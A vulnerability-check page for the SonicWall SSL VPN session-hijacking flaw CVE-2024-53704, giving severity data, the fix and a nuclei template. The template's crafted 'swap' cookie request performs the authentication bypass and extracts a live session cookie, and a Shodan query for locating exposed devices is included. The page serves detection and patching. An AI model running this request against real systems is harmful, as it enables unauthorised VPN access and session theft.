SSL VPN Session Hijacking

Exploited in the wild. Listed by CISA on 2025-02-18; known to be used by ransomware.

criticalseverity

9.8CVSS score

95.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

An Improper Authentication vulnerability in the SSLVPN authentication mechanism allows a remote attacker to bypass authentication.

Impact

Unauthenticated attackers can hijack SSL VPN sessions by bypassing authentication mechanisms and gaining unauthorized access to the VPN.

Fix

Update SonicWall to a version that patches CVE-2024-53704 as specified in PSIRT advisory SNWLID-2025-0003.

How to confirm it

Send: GET /cgi-bin/sslvpnclient?launchplatform=
Positive when: contains "NELaunchX1" AND status 200

Run it with nuclei: nuclei -id CVE-2024-53704 -u <target>

The full check

id: CVE-2024-53704

info:
  name: SSL VPN Session Hijacking
  author: johnk3r
  severity: critical
  description: |
    An Improper Authentication vulnerability in the SSLVPN authentication mechanism allows a remote attacker to bypass authentication.
  impact: |
    Unauthenticated attackers can hijack SSL VPN sessions by bypassing authentication mechanisms and gaining unauthorized access to the VPN.
  remediation: |
    Update SonicWall to a version that patches CVE-2024-53704 as specified in PSIRT advisory SNWLID-2025-0003.
  reference:
    - https://bishopfox.com/blog/sonicwall-cve-2024-53704-ssl-vpn-session-hijacking
    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0003
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-53704
    cwe-id: CWE-287
    epss-score: 0.95314
    epss-percentile: 0.99865
  metadata:
    verified: true
    max-request: 1
    shodan-query: "http.html_hash:-1466805544"
  tags: cve,cve2024,sonicwall,kev,vkev,vuln

http:
  - raw:
      - |
        GET /cgi-bin/sslvpnclient?launchplatform= HTTP/1.1
        Host: {{Hostname}}
        Cookie: swap=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "NELaunchX1"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: header
        regex:
          - 'Set-Cookie: swap=([a-zA-Z0-9]+);'

References

Use this check only on systems you are authorised to test. Where the data comes from